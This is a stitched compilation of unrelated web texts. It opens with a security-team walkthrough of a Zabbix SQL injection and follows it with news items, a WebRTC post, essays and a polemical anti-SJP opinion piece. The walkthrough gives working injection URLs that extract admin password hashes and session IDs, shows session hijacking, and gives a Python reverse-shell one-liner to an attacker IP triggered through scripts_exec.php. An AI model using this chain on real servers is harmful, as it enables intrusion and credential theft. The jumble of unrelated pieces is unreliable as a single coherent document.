This particular vulnerability affects the httpmon.php script which, by default, is accessible via an unauthenticated session. This is due in part, to the fact that Zabbix comes preconfigured with a “guest” user account which is permitted “Zabbix user” level permissions.� With this, any unauthenticated request to a resource that is accessible with “Zabbix user” permissions, the session ID of that request will automatically be associated with the “guest” user, effectively authenticating that user as “guest”.� If the “guest” account has been disabled, valid account credentials will be required in order to trigger this vulnerability.��
In case you’re wondering, you can disable the guest account from the admin panel.
Looking at the screenshot below, we can see here that the applications parameter is susceptible to SQL Injection due to the lack of input validation applied to the “applications” parameter. By inserting a single quote (‘), the intended SQL query is escaped, throwing an exception error from the MySQL database server.
�
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To determine the cause of this issue, we can follow the code path from the point in which the GET parameter is parsed.
Here we can see that our user supplied value is parsed from the URL request and assigned to the $application variable.� Next, the add2favorites() function is then called:
foreach ($_REQUEST['applications'] as $application) { add2favorites('web.httpmon.applications', $application); }
Looking at the add2favorites function, we can see that $application variable is now referenced as $favid, which in turn is inserted into the $values array.
function add2favorites($favobj, $favid , $source = null) { $favorites = get_favorites($favobj); foreach ($favorites as $favorite) { if ($favorite['source'] == $source && $favorite['value'] == $favid) { return true; } } DBstart(); $values = array( 'profileid' => get_dbid('profiles', 'profileid'), 'userid' => CWebUser::$data['userid'], 'idx' => zbx_dbstr($favobj), 'value_id' => $favid, 'type' => PROFILE_TYPE_ID );
The $values array is then used as part of an in-line SQL query.� Looking at the code sample below, we can again see that no sanitization of our data has been performed prior to passing it as part of our SQL query.
return DBend(DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values) ).') VALUES ('.implode(', ', $values).')'));
�
The patch
After reviewing the changes implemented by this patch, we can see that $values now calls the function “zbx_dbstr” prior to executing our previously vulnerable SQL query:
Index: frontends/php/include/profiles.inc.php =================================================================== --- frontends/php/include/profiles.inc.php (revision 38884) +++ frontends/php/include/profiles.inc.php (working copy) @@ -148,9 +148,9 @@ 'profileid' => get_dbid('profiles', 'profileid'), 'userid' => self::$userDetails['userid'], 'idx' => zbx_dbstr($idx), - $value_type => ($value_type == 'value_str') ? zbx_dbstr($value) : $value, - 'type' => $type, - 'idx2' => $idx2 + $value_type => zbx_dbstr($value), + 'type' => zbx_dbstr($type), + 'idx2' => zbx_dbstr($idx2) ); return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');// string value prepearing if (isset($DB['TYPE']) && $DB['TYPE'] == ZBX_DB_MYSQL) { function zbx_dbstr($var) { if (is_array($var)) { foreach ($var as $vnum => $value) { $var[$vnum] = "'".mysql_real_escape_string($value)."'"; } return $var; } return "'".mysql_real_escape_string($var)."'"; }
To apply the patch simply copy it to the downloaded directory of Zabbix (~/Downloads/zabbix-2.0.8/frontends) and run:
patch -p1 < fix.patch
Then copy the patched files over to your web directory:
sudo cp –r ./* /var/www/zabbix/
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Leveraging SQL Injection
Generally at this time I am firing up sqlmap and doing my happy dance!
Using the following query, we can extract the Administrator username and hash from the users table:
http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29
�
Great! With this we can crack the md5 password and login as Admin! However, what if the password takes too long to crack and the user created a complex password?
It was discovered during the assessment that the session identification (sid) for all users, including Admin, is stored in the Zabbix database in the sessions table. They appear to never be discarded unless specified by the Administrator (Auto-Logout which is disabled by default).
The following is a screen shot of the Zabbix server displaying the values for the table sessions. The query is looking for the Admin session id’s, which is user id 1. Status 0 will indicate an active session IDs not in use.
It is possible to reuse one of these sessions id’s, and bypass authentication, without knowing the Admin password. The same SQL injection technique used before can extract a valid session ID from the database.
Using the following query, we can extract the Administrator session ID from the sessions table:
http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29
It is then possible to replace the existing session ID in the cookie field with the one extracted to elevate the browser session with Administrative privileges.
Example: SID = a7c3f4f6be308b74585f7cdf9d5f7650
�
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Cool! We got Admin, now what?
One of Zabbix’s� built-in features allow user’s to execute scripts on the server and agents it controls for monitoring purposes. We can leverage this built-in functionality� in order to further our attack.
Further information on Zabbix’s script execution interface can be found at the following URL:
https://www.zabbix.com/documentation/2.2/manual/web_interface/frontend_sections/administration/scripts
�
As we already have administrator permissions, we can deploy a script that will execute on the underlying operating system� and since nearly every modern Linux distribution comes preconfigured with either Perl or Python (or both), we can abuse this in order to trigger a reverse shell from our target host back to us.�
Executing the following Python script from @pentestmonkey, will provide us with a remote command shell.
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
�
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Now the question is, how do we trigger the script we saved on the server?
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Code Execution
Fortunately for us, Zabbix includes the scripts_exec.php script in order to trigger the execution of our command shell.� However, in order to do so we’ll need to provide it with the correct parameters:
The scripts_exec.php requires the following URL parameters to execute:
execute = 1
scriptid = 4
The value is the number of scripts stored in scripts table in the database. This can be guessed, or enumerated with SQL injection. The default number of scripts in Zabbix is 3, so the next one would be 4.
sid = 585f7cdf9d5f7650
The last 16 characters in the session id.� sid = a7c3f4f6be308b74585f7cdf9d5f7650
hostid = 10084
The value of host id can be found in the interface table in the database. This can be guessed, or enumerated with SQL injection. The default value of the Zabbix server (127.0.0.1) is 10084.
Now time to test our script out and see if we can get code execution:
http://zabbix.server/zabbix/scripts_exec.php?execute=1&scriptid=4&sid=585f7cdf9d5f7650&hostid=10084
�
Woot! So we were able to get code execution through extracting the Administrator session ID and then creating our own script to give us a remote shell.
�
Pyoor, a team member of Corelan, was nice enough to put everything together in a Metasploit module.
�
Further Exploitation?
It was also discovered that it is possible through the scripts functionality in Zabbix to execute the same commands on all agents associated with the Zabbix server. The one condition is they have to have the following configuration parameter turned on, which is off by default .
https://www.zabbix.com/documentation/2.0/manual/config/notifications/action/operation/remote_command
zabbix_agentd.conf:
### Option: EnableRemoteCommands # Whether remote commands from Zabbix server are allowed. # 0 - not allowed # 1 - allowed # # Mandatory: no # Default: # EnableRemoteCommands=0
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However, it is not unusual for system administrators to enable the remote commands option in the agents.
Lets go ahead through the theory. First we would need to extract the agent from the interface table.
We can see that we have an agent running on IP 192.168.2.9 with a hostid of 10085. Next we will create a sample script to see if remote commands is enabled. This is actually very easy to test since the server command and agent response is sent in clear text.
Next we have the Zabbix server execute the script (using the same scripts_exe.php script) and we can see the results over Wireshark:
With remote commands disabled we can see that it does not execute the script. If we go ahead and enable remote commands on the agent and try the script again:
Excellent! So if we have remote commands enabled on the agent it is then possible get a shell on the agent through the Zabbix server. All we need to do is:
Extract hostid from interface table
Create script with agent hostid and modify few options in the script functionality (choose execute on zabbix agent instead of server)
Test remote commands is enabled
Execute script
If we modify our Metasploit script:
I will leave this exercise up to the reader if you want to write a post module. :)
� 2013, Corelan Team (Lincoln). All rights reserved.
Related Posts: |
Singapore: A top hacking nation. The city-state has made into the podium as one of the top ten attacking countries, based on data from Threatmap.checkpoint.com (Threatmap).
The website tracks malicious cyber-attacks across the globe and consistently ranked the top aggressors in cyber-attacks. One glance on the list of top ten attacking countries, one will find the great powers of the world pitting each other for glory and honors in the cyberspace.
However, a nation or rather a city-state stood out from the rest of big countries with likes of USA, Russia, UK, Germany and China. Surprise, surprise… the city-state is none other than Singapore.
Singapore ranks 4th in the pecking order
According to Threatmap, the island-nation is placed on the fourth position among the top attacking countries. Singapore has held the same position rather consistently over the past two weeks, which saw almost an average cyber-attacks of 14 million cases over the world daily.
The first place in the hit-list among the Singaporean hackers is reserved for USA and the city-state is likely to inflict its target with tons of malwares. By computation, Singapore’s favorite weapons of choice belongs to access to malicious resources at 61.7%, followed by bot communication at 30.3%, then malicious file transfer at 0.9% and others malwares at 7.1%.
Meanwhile, the “numero uno” or first-place among the top attacking countries is conferred to Russia which infects other machines and global networks mostly with bot communications. Ironically, Russia is also placed consistently as the number one target by hackers all over the world.
The Best Defense is a Good Offense
Despite its small size, Singapore has proven to the best pound-for-pound fighter in term of cyber security, thanks to a long term vision and good executions. As the saying goes, offense is the best defense, Singapore has threw its weight against bigger opponents by taking the first initiative.
For instance, the country first launched a cybersecurity master plan back in 2005. A decade later, the nation established a specialized bureau named Cyber Security Agency of Singapore to shore up its cybersecurity defense and capability.
Just last year, Singapore declared its ambition in becoming a Smart Nation and the first priority drawn out for this master plan depends on the creation of a safer cyberspace in protecting key installations and services.
“Singapore aspires to be a Smart Nation. But to be a Smart Nation, we must also be a safe, cyber nation,” said Lee Hsien Loong, the Prime Minister of Singapore.
“We must get cybersecurity right, to capture the benefits of a more connected world.” the prime minister added.
UN rates Singapore “Numero Uno” in cybersecurity strategy
Having a strategic plan is half the battle, the key for success will lie solely on executions and more executions. Thus, the city-state’s showing on the field of cyber-security did not goes unnoticed and was recently ranked number one by the United Nations (UN) by possessing a better overall cyber-security approach.
The ranking survey was conducted by UN International Telecommunication Union (ITU) which rates countries’ cyber-security readiness over facets such as legal, technical and organizational institutions, educational and research capabilities and cooperation in information-sharing networks.
In achieving another “first”, the city-state’s accolade has surpassed US and other wealthy, developed countries like Australia, Canada, France, Malaysia and so on. In the list, US was ranked at second place, while big nations like Russia was placed at 11th, Germany at 24th, followed by India at 25th and finally China at 34th.
Verdict
Perhaps other wealthier nations have yet to create the awareness of cyber-security and thus did not channel much resources toward the sector. Singapore has uniquely seized this advantage under the noses of much powerful countries and played to its strength.
In fact, the city-state’s cyber strategy resembled the US military campaign in Iraq, namely “Clear, Hold and Build.” First, clear all existing known threats, then hold the ground with the right trainings of personnel plus hardware and finally build up a business community there. So are you game enough to join this grand campaign of cyber-security? |
First she came for the milk. Then she came for the mines. Then she ran out of things to come for, so she went after the football fans arranging recreational punch ups and acid house.
It might sound unlikely in an age where there are a pair of decks and TV screens showing Sky Sports in every pub, but if you wanted to go toe to toe with the establishment at the tail-end of the Thatcher years, the fast track to getting filled in by the police was to watch football or listen to a series of repetitive records with the intention of dancing.
If you were looking for a measure of how the country has adjusted since Thatcher's reign, you could do worse than consider how two constants of the modern mainstream – football and electronic music – were once painted as folk devils by a regime fast running out of new things to point its police horses at.
Granted, football fans had been under few illusions about where they stood in the perceived scheme of things since the 70s, and anyone with industrial or union connections would have been aware of Tory policy well before Thatcher came to power in '79. But for anyone younger, and especially anyone younger and southern, the harshness of the establishment’s war on the twin evils of football and dance music came as something of a surprise.
Photo by Gavin Watson.
It wasn’t till I fled a party in Dalston (yes, we had Dalston back then, too) in 1989 that I felt it firsthand. The motivation for my hasty departure was the sudden entrance of a group of cops based at Stoke Newington Police Station who were notorious in the local area for their thuggery. They'd come in, take the numbers off their uniforms and break things up about as violently as you can without firearms, swinging for male and female alike. Say what you like about violence – and this is what the state often forgets when it chooses to apply it – but it doesn’t half focus the mind. If you were looking for a way to galvanise some of the last non-pissed off people in the country (white, middle-class men on strong, euphoric drugs, in my case) then sending the Territorial Support Group onto the dancefloor was an efficient way to go about it.
However, until the law actually turned up to do the truncheon two-step, you'd be hard pressed to find many people who genuinely cared about the government despatching them. The photographer Gavin Watson – whose book Raving '89 documented, funnily enough, acid house raves in the late 80s and early 90s – agreed: "Politics became superfluous during rave. All of the bullshit that Thatcher was coming out with started to fall on deaf ears, because we were so wrapped up in the culture that we just didn't have time to care about politics."
A collection of Boy's Own covers.
Cymon Eckel, a co-founder of iconic acid house and football casual culture fanzine, Boy's Own, has similar thoughts to Gavin. "The kind of tragic thing about rave was that, unlike many other musical scenes, it was completely depoliticised," he explained. "I suppose you could say that people maybe wanted to escape the negativity of politics at the time, or that they'd just fucking given up."
Either way, what followed was an object lesson in how to turn hedonists into heretics. "Because a few people had the power to assemble thousands of young people with a phonecall, the government thought there was a political angle to it when there wasn't," says Andrew Weatherall, another co-founder of Boy's Own and now one of the most pivotal figures of British dance music history. "The government, rather than the people actually involved, started to politicise it by having the police follow them and film them, and by asking questions about it in Parliament."
Photo by Gavin Watson.
The Conservatives and the media propagating their outrage were, in Gavin Watson's words, "caught with their pants down – they were five years behind when they first even started to address it". In what was arguably the best example of how uninformed – and, apparently, averse to basic research – the media were when it came to rave and acid house, one paper reported finding "ecstasy wrappers" littering one post-party dancefloor. Watson elaborated: "Their attempts at propaganda were just laughable – that total sense of powerlessness. We ended up going to raves and just laughing at the government and their 'ecstasy wrappers'."
The writers giving the rave scene a hard time in the press weren't averse to the lure of the assignment either: "Yeah, course there were journalists there!" laughs Weatherall. "There were people working on those tabloids, we knew who they were. Some of them would come to the parties."
Photo by Stuart Griffiths.
Prior to the introduction of seating, football – like acid house – could pitch you into a crowd that might seem to be out of control from the outside. But what could feel euphoric to participate in became a spectacle to be feared. As people died at football and spurious narratives spun through the media suggesting the victims had only themselves to blame, so acid house and its associated pastimes were painted as activities whose participants must be protected from themselves. Or, failing that, clobbered.
I appreciate that this might be tough to imagine in an age when Stewart Downing is permitted to DJ in his spare time, but there was a time when plugging in a record player in an abandoned building brought a police response more appropriate to the assembly of a nuclear device. Whatever rattled the establishment about rave, in their own warped way they had a point. It was dangerous.
Before “repetitive beats” – as the 1994 Criminal Justice Act would come to define them – went mainstream, the shortage of places to hear that music meant that, when people did gather, you had people of every kind listening to music of no fixed genre, under the influence of drugs that dis-inhibited them without recourse to violence. Serial football heads of the day often talk of their dilated amazement as men who would have fought one another for pleasure in the mid-80s bound each other up in loving, fraternal embraces and dissolved into the great perspiring mass of possibilities that unfolded at around 120bpm as the decade drew to a close.
Photo by Gavin Watson.
I’m not one for elaborate conspiracy theories, but even the most simplistic divide and conquer analysis suggests that, from a ruling class point of view, everyone – people of all races, backgrounds or football allegiance – getting along like that wasn’t something that could be entertained for too long. At least without sponsorship.
"Rave was more about unity," explained Watson. "And, unlike other scenes, there weren't really any faces from the scene for society to grab on to and scapegoat, which must have been frustrating for the government and media at the time. Because it was kind of this big, inclusive faceless mass, I also feel like the social pressures that got people seeking a release from rave did a lot of good things to make the racial divide less of a divide."
Although having to deal with police relentlessly busting up the fun was undoubtedly a downer, Eckel can see the positives in the Thatcher government's war on youth culture. "Where Thatcher created that dearth of culture with her policies, and filled the high streets with brands, conformity and mundanity, what you got is young kids looking to fill that void, which can only be a good thing."
Weatherall agrees, citing the politicisation of the acid house rave scene as something that, in many ways, actually helped it: "When politicians act like they're morally outraged and ask questions in parliament, they get kudos by being seen to be ‘upholders of morals’. But the people that are breaking the morals, the youth cult, they also get kudos, because young people like to shock. Shock sells records and sells tickets to acid house parties. Youth culture is very symbiotic; the man and youth cult are two sides of the same coin, really."
Photo by Gavin Watson.
And what happened next? Well, things happened fast, and the forces of darkness got fiendish. More effective than any legislation would be assimilation. First came the 1990 World Cup, New Order’s England theme and soon the terraces and the Technics would be safe for everyone. Now, Manchester City are doing the "Harlem Shake" for Comic Relief.
But I am happy, proud even, to say that many of the good things I’ve been involved with since – numerous relationships that abide to this day and much of what I consider to be the better side of my nature – were formed under those forces. It seemed at the time that any resistance offered to Thatcher's political scene-smashing was transforming what might otherwise have been a matter of mere musical taste into something tangible and strong.
As the figurehead of that era passes, it seems that even if you aren't having the best time of your life every weekend in a field with thousands of other people, your right to party remains intact – over and above even some of the more ancient civil liberties that have been steadily eroded since the battle of the beats was apparently won.
Follow Michael on Twitter: @thewrongwriter
More rave:
A Big Night Out at... a Psytrance Rave!
Shuffling: the War at the Heart of London's New Dance Scene
Music World – Donk |
A Maine House of Representatives Democrat who quit the party earlier this year has announced that he has enrolled in the Maine Green Independent Party.
That makes Rep. Ralph Chapman of Brooksville the second Green Independent to serve in the Legislature’s history. The only other was former Rep. John Eder of Portland, who was elected in 2002 and served two terms before losing a re-election bid in 2006.
Chapman, who quit the Maine Democratic Party in May, said the Legislature’s tinkering with several citizen-initiated laws this year, such as ones that legalized recreational marijuana and created a 3 percent surtax on upper earners to benefit public schools, was part of his motivation. He also sparred with Democratic leaders over a bill that creates new mineral mining rules.
Another reason he left the Democratic Party was because of what he called the “corporate funding influence on the State House party leadership of Maine’s two largest political parties.”
On Friday, Rep. Martin Grohman of Biddeford announced he has left the Democratic Party and will continue his second term as an independent with no party affiliation. Grohman also cited special interest groups’ influence on the Legislature.
“The Maine Green Independent Party offers an alternative” because it doesn’t accept corporate donations, said Chapman, who is in his fourth term and will be prevented by term limits from seeking re-election. “In essence, the Maine Green Independent Party is demonstrating, by its actions, how to behave as though the Citizens’ United Supreme Court decision were overturned.”
That 2010 decision upheld a prohibition on government restricting independent political expenditures.
Chapman is a member of the Legislature’s Agriculture, Conservation and Forestry Committee. His legislative district includes Blue Hill, Brooklin, Brooksville, Castine, Sedgwick and Surry.
Jon Olson of Jefferson, who co-chairs the Green Independent Party, welcomed Chapman in a written statement. He referred to the State House as a “toxic political environment.”
“We hope that other legislators of either major party will consider following his lead and that new aspiring candidates will do so as well,” said Olson.
The Maine Green Independent Party is an offshoot of the Maine Green Party, which was founded in 1984. It gained official party status most recently in 1998 and has one announced candidate for governor in the 2018 election: Jay Parker Lunt Dresser of Bangor, according to a filing with the Maine Ethics Commission.
The balance in the House now stands at 74 Democrats, 70 Republicans, one Green Independent and five representatives who are unaffiliated with a party. A Lisbon-area seat, which was held by Republican Rep. Gina Mason, became vacant when Mason died earlier this month and will be filled in a special election in November. |
Tue Dec 27 2016
WebRTC: the future of web games
At some point in JumpSuit‘s development I realized it was impossible to create the game we envisioned: WebSockets are just too slow, because they sit on top of TCP.
While it is possible to write moderately fast-paced games with them, such as the enormously successful Agar.io and Slither.io, if you need low-latency, WebSockets won’t cut it.
So I started looking for alternatives.
WebRTC is currently the only way a browser can exchange with the outside world in UDP-like fashion – disregarding Flash. While it is fairly recent, browser support is decent enough that Facebook Messenger, Skype and Google Hangouts started using it, to only name a few.
However, WebRTC has been designed to do P2P VoIP on the browser, not to create game servers. But surprisingly, games benefit greatly from these same features which are essential to VoIP.
Data channels are awesome
Along with audio and video, WebRTC makes it possible to create DataChannel s that allow sending arbitrary data.
While audio and video is transmitted through RTP, data channels use SCTP.
SCTP is great because it’s configurable: you can choose whether you want datagrams to be ordered and/or reliable.
Fast paced games use UDP because it’s fast, at the expense of orderedness and reliability.
But some datagrams still need to be sent reliably, for example chat messages. Dropping chat messages is definitely not okay! So when using UDP, we end up having to implement reliability on top of it (why we can’t use both TCP and UDP at the same time is outside the scope of this article, but you can read the explanation here).
Because SCTP is configurable, we can open multiple data channels with different settings, which saves us tons of work!
Typically we have:
an unreliable and unordered data channel for game state data and user inputs
a reliable and ordered data channel for chat messages, scores and deaths
Network architecture
Okay so let’s say we want a client-server architecture, like most modern games.
WebRTC connects peers together. Since it is a protocol for the web, peers are generally browsers – but nothing says your game server can’t be a peer!
There are various libraries that make it possible to use WebRTC on the server. Most of them are wrappers over Chromium’s code.
We also want multiple game servers: if the game we are writing is successful, we can expect the load to be too high for a single server. Additionally, we may want to make it possible for random users to host game servers (that’s what we did with JumpSuit). This is advantageous because you won’t have to pay for hosting, and if it is possible for users to make mods, that will increase the longevity of the game. The downside is that you don’t control hundredpercently the gameplay of your game.
Generally this is done by having a master server that knows the address of all game servers. To achieve this with a minimal amount of configuration, we can have games server register directly to it.
Then, clients will connect to the master server to request game server addresses.
WebRTC peers initially don’t know each other, so they need some way to be introduced. Connection is achieved by exchanging metadata such as addresses, supported codecs (remember, this is a VoIP protocol), etc., in the SDP format.
WebRTC doesn’t specify how these information are exchanged. It is possible to let the user copy-paste it for example. But I’m sure you’ll agree that’s impractical. So we will create a server that will relay this information through WebSockets. This is called a signaling server. It’s kind of equivalent to a BitTorrent tracker.
Our signaling server is special: it’s also a master server!
When a browser connects to it, the master server sends a list of servers identified by a unique ID, along with other informations about them (such as the geographical location, the game mod, etc.).
Once they are ready, browsers request to be connected to the game server they have chosen. They accompany this request with their SDP, which the signaling/master server routes to the game server. Upon reception, the game server sends its own SDP to be routed to the browser. After some back and forth, the connection is established.
This is how our network will look like (black: WebSockets, orange: RTCPeerConnections):
I created Enslavism, a framework that make it easy to create such an architecture.
Other WebRTC niceties
Nat traversal
As discussed above, the master server’s role is to make the client and a game server communicate, by giving the address of the game server to the client. The thing is, since game server register directly to the master, the address can be valid from the master’s perspective, but not from the client’s.
For example, in prod we had our master server and one game server on the same host. To the master, the game server’s address was therefore 127.0.0.1 , but of course this address was useless to the client.
So we implemented something to pick the correct IP – which was quite some work because of the amount of cases. Well I’m not gonna lie, our thing only worked for common ones.
On the other hand, picking the best IPs is part of the WebRTC connection process, and it’s automatic, so we don’t have to do it ourselves!
Encryption
We had another problem: we wanted our game to be served with HTTPS. And we wanted everyone to be able to host a server, easily.
Players were supposed to connect to third party WebSockets on our webpage. But due to SOP, players cannot connect to an insecure WebSocket from a HTTPS page.
Obviously, we didn’t want people hosting servers to have to go through the involved steps to be issued a TLS certificate. The best we were able to do was to serve the page itself through HTTP, and every resource through HTTPS. Not perfect, but better that nothing.
In prod we had to replace every relative reference to a resource with an absolute reference to https://jumpsuit.space , because otherwise it would have fetched it trough HTTP. Conversely, in dev we needed our server to patch the reference to include the resource from the machine itself.
This problem is nonexistent with WebRTC, because it is secure by default.
Last words
I hope this blog post made you consider using WebRTC for your next web game. I see a lot of potential for it.
I have to warn you though, the server-side WebRTC libraries are not very mature yet. I advise you to do thorough research before building your game.
29/12/2016 edit: Hacker News discussion. |
Paul is in a much better financial spot than other past presidential contenders. Ron Paul raised $1.78M in May
Although Ron Paul effectively ended his bid for the Republican presidential nomination weeks ago, you wouldn’t know by his fundraising.
During May, Paul raised $1.78 million and ended the month with nearly $3.3 million in the bank — more than he had at the end of April — with no debt, according to newly filed federal campaign finance reports.
Story Continued Below
While that’s a pittance compared with presumptive GOP nominee Mitt Romney’s cash stash, Paul’s financial position remains significantly better than those of fellow former contenders Rick Santorum or Newt Gingrich, who both owe creditors millions of dollars.
Paul himself acknowledges he won’t be his party’s nominee.
But his May fundraising is an indication that Paul’s passionate supporters remain willing to invest in his ideological push toward the Republican National Convention, at which he hopes to “grow our movement and shape the future of the GOP.”
And the longtime congressman from Texas received heartening news this weekend, when Iowa Republicans decided to primarily send Paul backers to the national convention more than half a year after state caucus-goers crowned Romney, then Santorum, the supposed winner.
Paul’s report indicated he spent nearly $970,000 in May, with more than $208,000 going toward consultants of various kinds — fundraising, field work, political strategy and trip planning.
Transportation ($165,500), hotel accommodations ($105,000) and salaries ($86,200) account for other significant expenses, his report indicates. |
A PROMINENT social media commentator has defended invoking the Nazi concentration camps in a discussion on rising inequality in Australia.
Asher Wolf, founder of the Cryptoparty political group and freelance journalist with publications including The Guardian and Crikey, was commenting on a piece in The Australian Financial Review on Wednesday.
Sinclair Davidson, RMIT economist and senior research fellow at the Institute of Public Affairs think tank, argued that Australia is “not an unequal society” and that “the politics of envy hurt it”.
“In a country like Australia there is a clear relationship between work and reward,” he wrote. “Those individuals who study hard, work hard, save their money, avoid chemical dependency, don’t have more children than they can afford, tend to live happy and comfortable lives.
“Not always. To be sure there is bad luck and misfortune but then we have a generous and means-tested welfare system to provide a hand up. Welfare was never intended to subsidise the lifestyle choices of the idle.”
In response, Ms Wolf tweeted: “This article is nonsensical: also the image tagline ‘work equates to reward’ is awfully close to ‘arbeit macht frei’.”
This article is nonsensical: also the image tagline "work equates to reward" is awfully close to "arbeit macht frei" pic.twitter.com/sPVywcPddy — Asher Wolf (@Asher_Wolf) July 26, 2017
Arbeit macht frei, or “work sets you free”, was the slogan used by the Nazis at the entrance of Auschwitz and other concentration camps. Dr Dvir Abramovich, chairman of the Jewish group the Anti-Defamation Commission, described the comment as crossing a “red line”.
“Cynically exploiting and cheapening the Holocaust and making light of the memory of those who perished at the hands of the Nazi death machine is deeply hurtful and morally wrong,” he said.
“Yes, we should have a debate about inequality, and yes people are of course free to voice their opinions. But, it is profoundly disturbing that anyone would employ the phrase from Europe’s largest death camp, where the 1.5 million people who died in the gas chambers or from starvation and disease were greeted by this sign and message, in order to criticise an op-ed.”
Dr Abramovich said it was “insensitive and demonstrates a gross lack of historical understanding about the crimes that Hitler and his evil regime committed”. “Drawing such comparisons is outrageous and never acceptable, and we urge Asher Wolf to apologise and to refrain from such trivialisations in the future,” he said.
But Ms Wolf hit back at Dr Abramovich’s criticism. “I am the daughter and granddaughter of Holocaust survivors,” she said.
“Growing up I attended a religious Jewish high school and a Jewish youth group. I am well aware of ‘sensitivities’ concerning the Holocaust. I grew up surrounded by people traumatised by the horror of genocide.
“My comment on Sinclair Davidson’s article was an exploration of use of language. It did not ‘cheapen’ the Holocaust by pointing out the phrasing was similar.”
She said “tone policing” of language and “abominable institutional bullying” against individuals had a “chilling effect on freedom of expression”.
“I condemn Dvir Abramovich comments and suggest he is ill advised to make outrageous claims about the nature of my original comment,” she said. “In times when we face such serious threats to freedom from the Trump administration — and a rising tide of vile anti-Semitism online and offline — it is pathetic that some men feel fit to bounce grand-scale attacks in response to anyone who speaks up against inequality.”
frank.chung@news.com.au |
Recently released security footage reveals the final hours of Clay Willey, a man who died nine years ago after being arrested, hog-tied and Tasered by police in Prince George, B.C.The video was originally played in 2004 for a coroner's inquest into Willey's death, but was made public on Tuesday as the Commission for Public Complaints Against the RCMP released its final report into the incident.Grand Chief Stewart Phillip of the Union of BC Indian Chiefs watched the tape before it made its way to the public."I was deeply shaken by what I saw; it was very brutal. It was incredibly ugly," Phillip told CTV News.The footage begins with Willey arriving at the RCMP detachment hog-tied.The public complaints commission says officers then pulled him out of the police vehicle by his feet, and he hit the door and fell onto the concrete floor.The video also shows Willey being dragged face down along a hallway to an elevator and being jolted by a Taser while still bound.The commission's report ruled officers did not use excessive force during the arrest, but the use of the Taser was deemed "unreasonable, unnecessary and excessive." The report said the two officers who dragged Willey "failed to treat him with the level of decency to be expected from police officers."But David Eby of the BC Civil Liberties Association says the CPC report is not credible because it didn't point out a number of serious concerns, including how it took eight-and-a-half years for the case to come to the public's attention.He also added the report didn't aggressively press the RCMP for taking 14 months to respond to an interim report examining the death and it didn't take the actions of the officers in the video seriously."The allegations, even in the version of events preferred by the officers, reflect conduct that could be considered criminal and should be criminally investigated and potentially charged," Eby said."That that is not considered to be an assault or at least investigated as an assault by police is a real problem in our system."Willey died in hospital the day after his arrest after suffering several heart attacks. He also had rib fractures and bruises.Solicitor General Shirley Bond told CTV News in a statement that she was pleased with the commission report."The province has taken several steps to enhance the justice system, including responding to all of Justice Braidwood's recommendations from his two reports, creating the independent investigations office and establishing new provincial policing standards for how police are trained, how they use force and how they interact with individuals in crisis," she said.Bond added that she could not comment further because of an ongoing civil lawsuit filed by Willey's family against the RCMP and the potential for a public inquiry.A coroner's inquest deemed the Willey's death was accidental and caused by a cocaine overdose. |
The team over at 7Tune have had their heads in the latest Best Car magazine, which reveals some new tasty tidbits about the 2010 Nissan FR sports car. It looks like the the battle between Subaru/Toyota and Nissan, to have the best lightweight rear-wheel drive coupe, just stepped up a notch.
The Nissan is expected to put out between 165kWs and 185kWs with torque pegged just shy of 300Nms. A HR16DET four-cylinder turbo with VCR (Variable Compression Ratio Piston-Crank System) will combine with a six-speed box and a 1250kg kerb-weight to give the FR commendable performance.
Body size and styling will all depend on what platform is utilised beneath the sheet-metal, but Best Car has detailed that the "54" platform will be used. This would result in a vehicle that's wider, shorter in length, and a fraction taller than the previous generation S15 Silvia. Best Car's renderings are based on reports that the FR would share its styling with the V36 Skyline, but aesthetics are still highly speculative at this early stage.
With Subaru/Toyota and Nissan both aiming for similar power, weight and pricing (Â¥2,000,000) specifications, it's good news for future customers. While the wait is far from over, we're already looking forward to a TMR Comparo on these two lightweight coupes, as there's little doubt that both will be a hoot to drive.
[Source: 7Tune] |
The student organization Students for Justice in Palestine (SJP) is prominent on many college campuses, preaching a mantra of “Freeing Palestine.” It masquerades as though it were a civil rights group when it is not. Indeed, as an African-American, I am highly insulted that my people’s legacy is being pilfered for such a repugnant agenda. It is thus high time to expose its agenda and lay bare some of the fallacies they peddle.
• If you seek to promulgate the legacy of early Islamic colonialists who raped and pillaged the Middle East, subjugated the indigenous peoples living in the region, and foisted upon them a life of persecution and degradation—you do not get to claim the title of “Freedom Fighter.”
• If you support a racist doctrine of Arab supremacism and wish (as a corollary of that doctrine) to destroy the Jewish state, you do not get to claim that the prejudices you peddle are forms of legitimate “resistance.”
• If your heroes are clerics who sit in Gaza plotting the genocide of a people; who place their children on rooftops in the hopes they will get blown to bits; who heap praises upon their fellow gang members when they succeed in murdering Jewish school boys and bombing places of activity where Jews congregate—you do not get to claim that you are some Apollonian advocate of human virtue. You are not.
• If your activities include grieving over the woefully incompetent performance by Hamas rocketeers and the subsequent millions of Jewish souls who are still alive—whose children were not murdered by their rockets; whose limbs were not torn from them; and whose disembowelment did not come into fruition—you do not get to claim that you stand for justice. You profess to be irreproachable. You are categorically not.
• If your idea of a righteous cause entails targeting and intimidating Jewish students on campus, arrogating their history of exile-and-return and fashioning it in your own likeness you do not get to claim that you do so in the name of civil liberty and freedom of expression.
• You do not get to champion regimes that murder, torture, and persecute their own people, deliberately keep them impoverished, and embezzle billions of dollar from them—and claim you are “pro-Arab.” You are not.
